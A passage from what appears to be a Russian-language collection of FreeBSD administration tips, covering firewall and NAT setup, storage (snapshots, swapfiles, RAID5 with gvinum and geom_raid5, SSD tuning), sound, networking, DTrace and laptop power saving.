       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* Работа с DVD-RAM во FreeBSD как с жестким диском (доп. ссылка 1)   Автор: proff  [комментарии]
     
    Решение такое:
    
    1. сборка и инсталляция ядра с устройствами:
       device scbus
       device atapicam
       device cd
       device pass
    
    2. создание файлов устройств cd0, cd1 с помощью /dev/MAKEDEV
    
    3. disklabel -rw cd1c auto
    
    4. newfs cd1c
    4.1. Можно включить softupdates: tunefs -n enable cd1 
    
    5. mount /dev/cd1c /mnt/dvdram
    
    Все. Скорость записи ~ 1.2 Mb/s. 
    
     
    ----* Решение проблем подергиванием звука в FreeBSD   Автор: Roman Y. Bogdanov  [комментарии]
     
    Решение проблем с "лаганием", "залипанием", "подергиванием" звука для FreeBSD
    5.x при сильных нагрузках на ata систему:
    
    в /boot/loader.conf добавить строку 
    
       hint.pcm.0.buffersize="16384".
    
    Работает не со всеми звуковыми картами. Карточка с MediaForte чипом стала
    играть звук в 4 раза быстрее,
    на SoundBlaster 5.1 live все играет замечательно.
    
     
    ----* Создание снапшота UFS2 в FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
       mount -u -o snapshot ./snapshot_image /var
       mdconfig -a -t vnode -f ./snapshot_image -u 1
       mount -o ro /dev/md1 /mnt/snap
       ...
       umount /mnt/snap
       mdconfig -d -u 1
    
    Также можно использовать специализированную утилиту snapshot,
     представляющую собой фронтенд к mount и mdconfig.
    
     
    ----* Настройка эмуляции Linux во FreeBSD (доп. ссылка 1)   Автор: sTALker150379  [обсудить]
     
    Добавляем в /boot/loader.conf:
        linux_load="YES"
        linprocfs_load="YES"
    
    В /etc/fstab:
        linprocfs /compat/linux/proc linprocfs rw 0 0
    
    /etc/rc.conf
        linux_enable="YES"
    
    /etc/sysctl.conf
        kern.fallback_elf_brand=3
    
     
    ----* Создание пользователя для отключения компьютера в FreeBSD.   Автор: Stas_Dragon  [комментарии]
     
    Создание специальной учетной записи пользователя для отключения компьютера.
    
    Задача:
    
    Создать учетную запись пользователя, которому разрешено только отключать компьютер. ОС FreeBSD 5.2
    создать в папке /bin скрипт poweroff-shell со следующим содержанием:
    
       #!/bin/sh
       shutdown -p +2 Turn off by user $LOGNAME
       logger Turn off by user $LOGNAME
       exit 0 
    
    установить разрешения:
       chmod 750 /bin/poweroff-shell
    
    сменить группу и владельца:
       chown root /bin/poweroff-shell
       chgrp operator /bin/poweroff-shell
    
    добавить в файл /etc/shells строчку:
       /bin/poweroff-shell
    
    создать пользователя poweroff:
    c шелом /bin/poweroff-shell, домашней директорией /nonexistent, 
    сделать пользователя poweroff членом группы operator, с паролем по вкусу.
    
     
    ----* Использование нескольких источников звука в FreeBSD (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    Для одновременного воспроизведения звука от разных приложений 
    нужно создать несколько виртуальных звуковых каналов:
    
       sysctl hw.snd.pcm0.vchans=4
       sysctl hw.snd.maxautovchans=4
    
    Если devfs не используется, в приложении нужно обращаться к устройствам /dev/dsp0.N
    , где N -  номер свободного канала.
    
    Для установки громкости звука по умолчанию в FreeBSD 5.3 в /boot/device.hints добавляем:
       hint.pcm.0.vol="100"
    
     
    ----* Объединение сетевых интерфейсов под FreeBSD 5.x (доп. ссылка 1)   Автор: Мишка  [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c .
    
      kldload /boot/kernel/ng_ether.ko
      kldload /boot/kernel/ng_one2many.ko
      ifconfig rl0 up
      ifconfig rl1 up
      ngctl mkpeer rl0: one2many upper one
      ngctl connect rl0: rl0:upper lower many0
      ngctl connect rl1: rl0:upper lower many1
      ngctl msg rl1: setpromisc 1
      ngctl msg rl1: setautosrc 0
      ngctl msg rl0:upper \
            setconfig "{ xmitAlg=1 failAlg=1 enabledLinks=[ 1 1 ] }"
      ifconfig rl0 inet 192.168.0.78 
    
     
    ----* Создание файла подкачки (swapfile) в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для FreeBSD 4.x
       В /boot/loader.conf добавляем vn_load="YES" 
       cd /dev; sh MAKEDEV vn0
       dd if=/dev/zero of=/usr/swap0 bs=1024k count=64
       chmod 0600 /usr/swap0
       В /etc/rc.conf добавляем swapfile="/usr/swap0" 
       Для активации без перезагрузки: 
           vnconfig -e /dev/vn0b /usr/swap0 swap
    
    Для FreeBSD 5.x
       dd if=/dev/zero of=/usr/swap0 bs=1024k count=64
       chmod 0600 /usr/swap0
    В /etc/rc.conf добавляем swapfile="/usr/swap0"
       Для активации без перезагрузки:  
           mdconfig -a -t vnode -f /usr/swap0 -u 0 && swapon /dev/md0
    
     
    ----* Включение поддержки IPv6 в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Ядро:
      options         INET6           # IPv6 communications protocols
      pseudo-device   gif             # IPv6 and IPv4 tunneling
      pseudo-device   faith   1       # IPv6-to-IPv4 relaying (translation)
    
    Регистрация и получение IP (http://www.freenet6.net или http://www.tunnelbroker.net)
      cd /usr/ports/net/freenet6/
      # make install clean
      # /usr/local/etc/rc.d/freenet6.sh start
    
    Подъем IPv6 вручную
      ifconfig gif0 create 
      ifconfig gif0 tunnel your-local-ipv4  remote-ipv4-of-your-broker
      ifconfig gif0 inet6  ipv6-given-by-the-broker ipv6-of-your-broker   prefixlen 128
      route -n add -inet6 default ipv6-of-your-broker
    
    /etc/rc.conf:
      ipv6_enable="YES"
      ipv6_defaultrouter="brokeripv6"
      ipv6_gateway_enable="YES"
      ipv6_network_interfaces="de0 gif0"
      ipv6_ifconfig_gif0="brokeripv6 prefixlen 128"
      ipv6_ifconfig_de0="youripv6::1 prefixlen 64"
      ipv6_static_routes="global"
      ipv6_route_global="2000:: -prefixlen 3 youripv6"
      gif_interfaces="gif0"
      gifconfig_gif0="youripv4 brokeripv4"
    
    Фаервол (Ipfilter):
      /etc/ipf6.rules
         pass in all
         pass out all
      ipf -6 -f /etc/ipf6.rules
    
     
    ----* Звук в FreeBSD 4.9 на nForce2 Ultra 400   Автор: axbat  [комментарии]
     
    Для работы со встроенным кодеком не надо загружать драйверов с сайта Avance Logic, достаточно:
    - в boot/loader.conf в разделе Sound modules включить загрузку 
        snd_ich_load="YES"		# Intel ICH 
    после этого убедиться, что все определилось: 
        dmesg | grep pcm0
    
     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Как в FreeBSD добавить/убрать алиас для сетевого интерфейса   [комментарии]
     
    Добавить: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 alias
    Убрать: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 -alias
    
     
    ----* Как подключить USB Flash накопитель в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man umass
    Конфигурация ядра (FreeBSD 4.8 можно не пересобирать):
      device usb
      device ohci (OR device uhci)
      device umass
      device scbus
      device da
      device pass
    В логе смотрим подобное сообщение "da0 at umass-sim0 bus 0 target 0 lun 0"
    Монтируем:
      mount -t msdos /dev/da0s1 /mnt
    
     
    ----* Установка дисковых квот в FreeBSD (доп. ссылка 1)   Автор: Igor  [обсудить]
     
    - в конфигурации ядра включаем "options QUOTA" и пересобираем ядро.
    - в /etc/rc.conf прописываем enable_quotas="YES" и check_quotas="YES"
    - указываем в fstab файловые системы, для которых будет включаться
    поддержка квот, например:
              /dev/da0s1e /home ufs rw,userquota  2  2
              /dev/ad0s1h  /new_home ufs  rw,groupquota 2 2
    - устанавливаем квоты для пользователей при помощи edquota, напр. "edquota user1"
    - если нужно установить одинаковые квоты для нескольких пользователей как у user1:
          edquota -p user1 user2 user3 user4 user5
    
     
    ----* Использование в FreeBSD IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   [комментарии]
     
    В конфигурации FreeBSD ядра:
        pseudo-device vlan 20 # VLAN support (для динамической генерации в новых версиях - 20 можно не писать)
    Поднимаем VLAN вручную (где 28 - vlan id на свиче, fxp0 - интерфейс воткнутый в свитч):
        ifconfig vlan0 inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0
    Прописываем в /etc/rc.conf:
      cloned_interfaces="vlan0"
      ifconfig_vlan0="inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0"
    На коммутаторе Cisco Catalyst:
        interface FastEthernet0/1  # линк к FreeBSD
            switchport mode trunk
        interface FastEthernet0/2
            switchport access vlan 28
    
     
    ----* Как примонтировать iso-образ CD диска в FreeBSD   [комментарии]
     
    В /boot/loader.conf добавляем vn_load="YES" или подгружаем руками kldload vn.ko
    Монтируем:
        vnconfig /dev/vn0c /home/user/cdrom.iso
        mount -t cd9660 /dev/vn0c /mnt
    Размонтируем:
        umount /mnt
        vnconfig -u /dev/vn0c
    
     
    ----* Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям (доп. ссылка 1)   [комментарии]
     
    /etc/sysctl.conf:
       vfs.usermount=1
       vfs.generic.usermount=1
    mount -t cd9660  /dev/acd0c /home/user/cdrom
    chmod 644 /dev/acd0c
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как включить поддержку SMBFS в FreeBSD и примонтировать удаленный windows ресурс.   [комментарии]
     
    пересобираем ядро:
      options NETSMB	      #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Как завести нового пользователя в FreeBSD в автономном режиме ? (доп. ссылка 1)   [обсудить]
     
    Нужно использовать не команду adduser, а команду pw (man pw, pw useradd help). Например: 
      pw useradd -n логин -c 'комментарий, фио' -d /home/логин -m -s /bin/true
    
     
    ----* Что иногда следует избыточно создать в '/dev' для FreeBSD (доп. ссылка 1)   Автор: lavr  [обсудить]
     
    MAKEDEV - ad0 ad1 ad2 ad3 ... - default=0,...,3 остальное+slices руками
    MAKEDEV ptyN - псевдо-терминалы, default==32
    MAKEDEV vtyN - виртуальные терминалы через syscons, defaul==12
    MAKEDEV iic  - создание устройств для I2C 
    MAKEDEV smb  - создание устройств для SMBus шины
    MAKEDEV snd  - создание устройств для SoundBlaster
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Какие программы в FreeBSD занимаются переиндексацией системных баз   [комментарии]
     
    /bin/sh MAKEDEV all  (dev_mkdb)
    /usr/bin/newaliases
    /usr/bin/cap_mkdb /etc/login.conf
    /usr/sbin/pwd_mkdb -p /etc/master.passwd
    
     
    ----* Как на сервере обеспечить подключение PS/2 клавиатуры, без перезагрузки   [комментарии]
     
    Для того чтобы на загруженный без PS/2 клавиатуры сервер, можно было в любой
    момент подключить клавиатуру
    без перезагрузки, нужно в конфигурации ядра заменить строку:
       device          atkbd0  at atkbdc? irq 1 flags 0x1
    на
       device          atkbd0  at atkbdc? irq 1
    Т.е. убрать 'flags 0x1' и тем самым разрешить загружать драйвер клавиатуры
     при отключенной в момент загрузки клавиатуре.
    
     
    ----* Как в FreeBSD более подробно ознакомится с поддержкой аппаратного устройства   [обсудить]
     
    man 4 имя_устройства.
    примеры: man 4 fxp; man 4 rl; man 4 ed; man 4 amr; man 4 pcm; man 4 cd; man 4 tty; man 4 sio;
    
     
    ----* Как переключить сетевую карту в FreeBSD из full-duplex в half-duplex   [комментарии]
     
    Текущий режим работы сетевой карты можно посмотреть выполнив:
    # ifconfig fxp0 
    Перевести сетевую карту в режим работы 10baseT/UTP half-duplex:
    # ifconfig fxp0 media 10baseT/UTP mediaopt half-duplex
    Автоматически выбрать режим:
    # ifconfig fxp0 media autoselect
    Подробнее: man 4 ed, man 4 rl, man 4 fxp
    
     
    ----* Настройка программного RAID5 во FreeBSD   Автор: McSeem  [комментарии]
     
    Понадобилось организовать надежное хранение большого объёма данных. По сей день
    использовалось софтовое зеркало, но существующего объёма уже не хватало и
    решено было соорудить RAID5 из трёх дисков по терабайту. В моём случае
    избыточность составит 1/3 против 1/2 (зеркало).
    
    Судя по тому, что мне удалось узнать FreeBSD поддерживает организацию RAID5
    двумя менеджерами дискового пространства: VINUM и GEOM.
    
    Попробуем каждый из них:
    
    I. VINUM.
    
    Начиная с FreeBSD5 VINUM была переписана для совместимости с архитектурой GEOM,
    и теперь новая подсистема называется GVINUM, а модуль ядра сменил название с
    vinum.ko на geom_vinum.ko.
    
    Создадим директорию к которой будем монтировать наш RAID5:
    
       snap# mkdir /raid5
    
    Теперь создаём конфигурационный файл нашего массива(расположить его можно где угодно):
    
       snap# touch /usr/local/gvinum.conf
    
    После этого непосредственно конфигурируем наш массив(как я говорил, в моем
    случае будет 3 диска по терабайту):
    
       snap# vi /usr/local/gvinum.conf
    
    Пишем в файле следующее:
    
       drive raid51 device /dev/ad5
       drive raid52 device /dev/ad6
       drive raid53 device /dev/ad7
       volume raid5
       plex org raid5 256k
       sd len 1t drive raid51
       sd len 1t drive raid52
       sd len 1t drive raid53
    
    Где:
    
    - drive raid51/raid52/raid53 - это просто псевдонимы физических дисков (можно
    придумать любое). Используются чисто для удобства. С этими псевдонимами мы
    будем работать во всём файле и поменяв физический диск, нам не придётся менять
    его название во всём конфигурационном файле, а достаточно лишь изменить в описании.
    
    - volume raid5 - это виртуальный диск (можно придумать тоже любое название).
    Система его будет видеть как 1 физическое устройство, хотя в моем случае это
    массив из 3х дисков с полезным объёмом равным ~2м терабайтам. Отображаться
    будет как /dev/gvinum/raid5 (Назовёте volume terminator, отображаться будет /dev/gvinum/terminator).
    
    - plex - это набор, который предоставляет полное адресное пространство тома.
    Нам нобходим набор RAID5, поэтому организуем набор RAID5: org raid5, причем
    организовываем со страйпом в 256кВ (судя документации это самый оптимальный
    размер полосы).
    
    - sd - это поддиски(SubDisk), VINUM может организовывать массивы не только из
    отдельных физических дисков, но и используя разделы UNIX. Я же использую 3
    отдельных физических устройства, каждый по 1 терабайту, поэтому указываем
    размер: len 1t.
    
    На этом описание конфигурационного файла закончилось. Теперь создаём сам RAID массив:
    
       snap# gvinum create /usr/local/gvinum.conf
    
    Создаётся устройство /dev/gvinum/raid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/gvinum/raid5
    
    Стандартное ядро FreeBSD(GENERIC) не включает Vinum. Можно пересобрать ядро с
    поддержкой Vinum, но этого делать не рекомендуют. Обычный способ активации
    Vinum - загрузка модуля для ядра (kld). Так и поступим, только использовать
    команду kldload не будем, да и нет необходимости, при первом вызове gvinum
    проверит наличие поддержки Vinum в ядре и при необходимости загрузит модуль
    автоматически. Я сделаю так чтобы модуль Vinum был доступен на этапе загрузки,
    для этого делаем так:
    
       snap# echo geom_vinum_load="YES" >> /boot/loader.conf
    
    И последний момент, нужно смонтировать наш массив (Точку монтирования мы
    указываем /raid5, ту, что создали изначально):
    
       snap# echo /dev/gvinum/raid5 /raid5 ufs rw 2 2 >> /etc/fstab
    
    Перегружаемся и всё должно работать.
    
    :( У меня сервер уходит в Fatal trap 12(Kernel panic) и перегружается до
    бесконечности. Ничего страшного. Выключаем, ждём 5 минут и включаем, если не
    получится, выключаем, ждём ещё 5 минут и включаем, в конце концов включается
    всё норм! Называется размечтался... 1t = 1024G, смотрю свой диск... а там всего
    953869m... В общем нужно в конфиге уменьшить размер - len! И после этого всё
    замечательно работает!!!
    
    Можно выводить диски из массива и т.д., но как-то долго... проще сбросить конфиг:
    
       snap# gvinum resetconfig
    
    На что, он нас спрашивает, вы мол в своё уме? подтвердите что вы это делаете
    осмысленно! И просит ввести текст "NO FUTURE", ну чтож, вводим:
    
       Enter text -> NO FUTURE
    
    Я поменял в конфиге размеры дисков на:
    
       len 953869m
    
    После этого, повторяем команды:
    
       snap# gvinum create /usr/local/gvinum.conf
       snap# newfs /dev/gvinum/raid5
    
    Перегружаемся ещё раз...И вуаля!!! Всё работает!!!
    
    
    II. GEOM:
    
    Пробуем второй вариант. GEOM RAID5 в FreeBSD не входит, поэтому придётся
    скачивать с сайта. На сайте видим, что есть 3 версии это:
    
    - Компромисс скорости и использования памяти: geom_raid5
    - Самая стабильная, но и самая медленная: geom_raid5 TNG
    - Улучшенная скорость, но и памяти соответственно потребляет больше: geom_raid5 PP
    
    Все версии доступны тут:
    
    geom_raid5: http://wgboome.homepage.t-online.de./geom_raid5.tbz
    geom_raid5 TNG: http://wgboome.homepage.t-online.de./geom_raid5-eff.tbz
    geom_raid5 PP: http://wgboome.homepage.t-online.de./geom_raid5-pp.tbz
    
    Я выбрал "geom_raid5", поэтому переходим в папку с источниками:
    
       snap# cd /usr/src
    
    И скачиваем архив:
    
       snap# wget http://wgboome.homepage.t-online.de./geom_raid5.tbz
    
    Архив необходимо распаковать. Действуем:
    
       snap# tar -xf geom_raid5.tbz
    
    Архив распакован,переходим к процессу инсталляции. Первым делом необходимо
    собрать модуль. Переходим в папку с конфигом:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
    
    И запускаем компиляцию:
    
       snap# make
    
    упс... :( у меня вылезли ошибки...читаем...пробуем исправить... Для этого делаем следующее:
    
       snap# cd /usr/src/sys/geom/raid5
    
    И правим в файле g_raid5.c (если у вас ошибки будут такие же как и у меня) кому
    каким редактором удобнее:
    
    1. Ошибка: в строке  2015 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2015 kthread_exit(0); на kthread_exit();
    2. Ошибка: в строке 2444 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2444 kthread_exit(0); на kthread_exit();
    3. Ошибка: в строке 2635 нету описания функции "kthread_create"
           исправляем: меняем в строке 2635 kthread_create (остальное не трогаем), на kproc_create
    4. Ошибка: в строке 2639 нету описания функции "kthread_create"
           исправляем: меняем в строке 2639 kthread_create (остальное не трогаем), на kproc_create
    Примечание: Ошибка 4 другая, и ссылается на строку 2635, но изменив строку 2635
    необходимо изменить и 2639, так что делаем так.
    
    После того как исправили,снова делаем компиляцию модуля:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
       snap# make
    
    Появляется нужный нам файл: "*geom_raid5.ko". Его необходимо скопировать ко всем модулям. Копируем:
    
       snap# cp geom_raid5.ko /boot/kernel/geom_raid5.ko
    
    Теперь устанавливаем сам geom_raid5:
    
       snap# cd /usr/src/sbin/geom/class/raid5
       snap# make && make install && make clean
    
    Собственно после инсталляции GEOM_RAID5 собираем RAID массив:
    
       snap# graid5 label -v -s 256k graid5 /dev/da0 /dev/da1 /dev/da2
    
    И создаём устройство:
    
       snap# graid5 load
    
    Создаётся устройство /dev/raid5/graid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/raid5/graid5
     
    Создаём точку монтирования:
    
       snap# mkdir /graid5
    
    Добавляем запись в /etc/fstab, для автоматического монтирования нашего массива
    RAID5 при загрузке системы:
    
       snap# echo /dev/raid5/graid5 /graid5 ufs rw 2 2 >> /etc/fstab
    
    Не забываем добавить загрузку модуля при старте системы:
    
       snap# echo 'geom_raid5_load="YES" >> /boot/loader.conf
    
    P.S. В конечном итоге остановил свой выбор на GVINUM. В основном из-за того,
    что он входит в состав FreeBSD, а разработчики, раз решили что GEOM_RAID5 ещё
    рано(или уже поздно) входить в релиз, то значит так и есть. Протестировал
    GVINUM на крах (отключением питания и отсоединением шлейфа от одного из дисков
    в режимах чтение\запись, после этого записывал\удалял данные с битого массива,
    перегружался, добавлял снова диск, восстанавливал всё работает замечательно!
    ...но это уже тема для другой статьи...)
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab для FreeBSD.   Автор: Insane  [комментарии]
     
    /dev/acd0c /mnt/cdrom cd9660 ro,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/fd0 /mnt/flop msdos rw,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/ad0s2 /mnt/store msdos rw,-W=koi2dos,
    -L=ru_RU.KOI8-R,noexec,nosuid,nosymfollow,
    -u0,-g0,-m 660  0 0
    Еще для удобства можно создать симлинки типа:
    ln -sf /dev/acd0c /dev/cdrom
    ln -sf /dev/acd1c /dev/cdrom1 (если есть второй cdrom)
    ln -sf /dev/fd0 /dev/flop
    прописать изменения в fstab,
    и монтировать диски командой mount /dev/cdrom а не
    mount /dev/acd0c =).
    
     

       Сис. информация, оптимизация и тюнинг FreeBSD

    ----* Оптимизация использования SSD-накопителя во FreeBSD 9.0   Автор: ixes  [комментарии]
     
    Ниже собраны рекомендации по оптимизации работы SSD-накопителя во FreeBSD 9.0,
    которые удалось найти в Сети.
    
    Процесс установки и оптимизации под 4k блоки со сдвигом кратный 8, описывать не
    буду так как FreeBSD 9.0 cам все это делает (если установка выполнялась в
    автоматическом режиме).
    
    После установки необходимо включить поддержку TRIM, для этого следует выполнить
    (диск должен быть отмонтирован  - загрузись с LiveCD):
    
       tunefs -t enable /dev/adaxxx
    
    Отключение журналирования (может быть чревато более длительным временем
    проверки целостности ФС, если некорректно завершить работу, нажать reset, или
    если свет отключат  - пользуйтесь бесперебойником):
    
       tunefs -J disable /dev/adaxxx
       tunefs -n disable /dev/adaxxx
       tunefs -j disable /dev/adaxxx
    
    Посмотреть состояние флагов раздела можно командой:
    
       tunefs -p /dev/adaxxx
    
    Отключение лишних обновлений метаданных (noatime) и использование tmpfs для
    временных разделов и логов в /etc/fstab:
    
       /dev/adaxxx        /        ufs    rw,noatime    1    1
       tmpfs            /tmp        tmpfs    rw        0    0
       tmpfs            /var/run    tmpfs    rw        0    0
       tmpfs            /var/spool    tmpfs    rw        0    0
       tmpfs            /var/log    tmpfs    rw        0    0
    
    Перед добавлением убедитесь, что /var/spool, /var/log и /var/run  не содержит
    того, что может потребоваться между перезагрузками.
    
    Вариант настройки через /etc/rc.conf:
    
       tmpmfs="YES"
       tmpsize="20m"
       tmpmfs_flags="-S"
       varmfs="YES"
       varsize="32m"
       varmfs_flags="-S"
       populate_var="YES"
    
    Размер  виртуальной файловой системы (tmpfs) писать в соответствии с свободным
    ОЗУ (в нашем примере, 20 мегабайт для /tmp и 32 мегабайт для /var). Настройки
    нужно сделать или в /etc/fstab или в /etc/rc.conf.
    
     
    ----* Активация поддержки DTrace во FreeBSD (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    Краткое руководство по включению системы динамической трассировки DTrace во FreeBSD:
    
    1. Включаем в ядре  настройки KDTRACE_HOOKS, DDB_CTF и KDTRACE_FRAME (для amd64):
    
          options KDTRACE_HOOKS        # включение DTrace-хуков (для всех архитектур)
          options DDB_CTF              # включении поддержки загрузки CTF-данных в ELF-компоновщике (для всех архитектур)
          options KDTRACE_FRAME        # (для архитектуры amd64)
          makeoptions WITH_CTF=1
    
    2. Пересобираем ядро (параметр WITH_CTF=1 должен быть прописан в файл
    конфигурации ядра, указание в  make.conf или src.conf не поддерживается.
    
       make buildkernel KERNCONF=DTRACE
    
    3. Устанавливаем новое ядро и перезагружаемся:
    
       make installkernel KERNCONF=DTRACE
       shutdown -r NOW
    
    4. Загружаем модули ядра, необходимые для работы DTrace:
    
       kldload dtraceall
    
    5. Убеждаемся, что нужные DTrace-хуки доступны (запускать команды для работы с
    DTrace нужно от пользователя root):
    
       dtrace -l | head
    
    6. Правим make.conf для поддержки Dtrace на уровне пользователя:
    
       STRIP=
       CFLAGS+=-fno-omit-frame-pointer
    
    7. Пересобираем пользовательское окружение, выполнив make buildworld и make install world
    
    Хорошие подборки DTrace-скриптов можно найти на страницах:
    * http://hub.opensolaris.org/bin/view/Community+Group+dtrace/dtracetoolkit
    * http://www.solarisinternals.com/si/dtrace/
    * http://www.brendangregg.com/dtrace.html
    
    Запускаем скрипты так:
       dtrace -s скрипт.d
    
     
    ----* Советы по уменьшению энергопотребления ноутбука с FreeBSD (доп. ссылка 1)   [комментарии]
     
    1. CPU
    Включение демона powerd позволяет менять частоту/вольтаж CPU в зависимости от нагрузки.
    
    Отключаем "p4tcc" и "throttling" в пользу более эффективного EIST. В /boot/loader.conf:
    
       hint.p4tcc.0.disabled=1
       hint.acpi_throttle.0.disabled=1
    
    Изменяем метод поведения CPU в моменты неактивности с C1 (по умолчанию) на C2, 
    который поддерживает отключение всех основных таймеров CPU. В /etc/rc.conf добавляем:
    
       performance_cx_lowest="C2"
       economy_cx_lowest="C2"
    
    Уменьшаем частоту генерации прерываний таймера, в loader.conf:
    
       kern.hz=100
    
    
    Экономия 5 Вт.
    
    2. PCI 
    
    Для отключения питания не используемых PCI устройств (например, FireWire и USB
    контроллер) достаточно пересобрать ядро
    без драйверов ненужных устройств и указать в loader.conf:
    
       hw.pci.do_power_nodriver=3
    
    Когда в устройстве возникнет необходимость, достаточно подгрузить драйвер как модуль ядра.
    
    Экономия 3 Вт.
    
    3. WiFi и Bluetooth
    
    Аппаратное отключение  WiFi и Bluetooth через обычно предусмотренную на
    ноутбуке комбинацию клавиш экономит около 2 Вт.
    
    4. HDA модем
    
    Физическое удаление платы HDA-модема привело к экономии 1 Вт.
    
    5. HDA звук
    Для уменьшения числа прерываний для звуковой карты в loader.conf прописываем:
    
       hint.pcm.0.buffersize=65536
       hint.pcm.1.buffersize=65536
       hw.snd.feeder_buffersize=65536
       hw.snd.latency=7
    
    6. Жесткий диск
    
    Для хранения временных файлов, чтобы не дергать лишний раз НЖМД, можно использовать tmpfs.
    Отключаем лишние периодически просыпающиеся сервисы, отключаем syslogd,
    используем легковесный оконный
    менеджер (например, icewm);
    
    Включение энергосберегающего spin-down режима работы 2.5" Hitachi SATA HDD
    привело к экономии 1 Вт,
    полное отключение - 2 Вт.
    
    Итог:
    
    Вышеописанные рекомендации + несколько дополнений внесенных в ветку FreebSD 8.0
    (подробнее см. ссылку внизу
    на оригинальное сообщение) позволили добиться следующий результатов:
    
       acpiconf -i0
    
    было: 2:24 часа (1621 mA)
    стало: 4:47 часа (826 mA)
    
    Для сравнения, оптимальные настройки Windows XP позволили продлить работу до 3:20 часов.
    
     
    ----* Решение проблемы с Nvidia драйверами во FreeBSD (доп. ссылка 1)   Автор: Nirnroot  [комментарии]
     
    Проблема: 
    
    после установки проприентарных драйверов Nvidia на FreeBSD X.Org зависает по непонятным причинам, 
    либо кидает систему в перезагрузку.
    
    Когда возникает: 
    
    экспериментальным путем было выведено, что если совокупная доступная оперативная память 
    системы + память видеокарты больше ~3.300 Мб (конкретно - предел оперативной памяти,
    определяемый стандартным ядром FreeBSD x86).
    
    Решение: 
    
    добавить в /boot/loader.conf строчку:
    
       machdep.disable_mtrrs=1
    
     
    ----* Решение проблемы слишком частой парковки головок на ноутбуке под FreeBSD (доп. ссылка 1)   Автор: Михаил Иванов  [комментарии]
     
    На некоторых ноутбуках (или с некоторыми винчестерами) операционная система использует 
    слишком агрессивный режим экономии электроэнергии. В этом режиме происходит очень 
    частая парковка головок винчестера, буквально каждые несколько секунд. Винчестеры имеют 
    ограничение на количество парковок  и слишком частая парковка может
    преждевременно исчерпать этот ресурс.
    
    Для диагностирования проблемы понадобится утилита smartctl (sysutils/smartmontools в портах).
    
    Выполните команду:
    
        smartctl -A /dev/ad4 | grep Load_Cycle
    
    (измените ad4 на название вашего винчестера)
    
    Результатом выполнения будет примерно следующее:
    
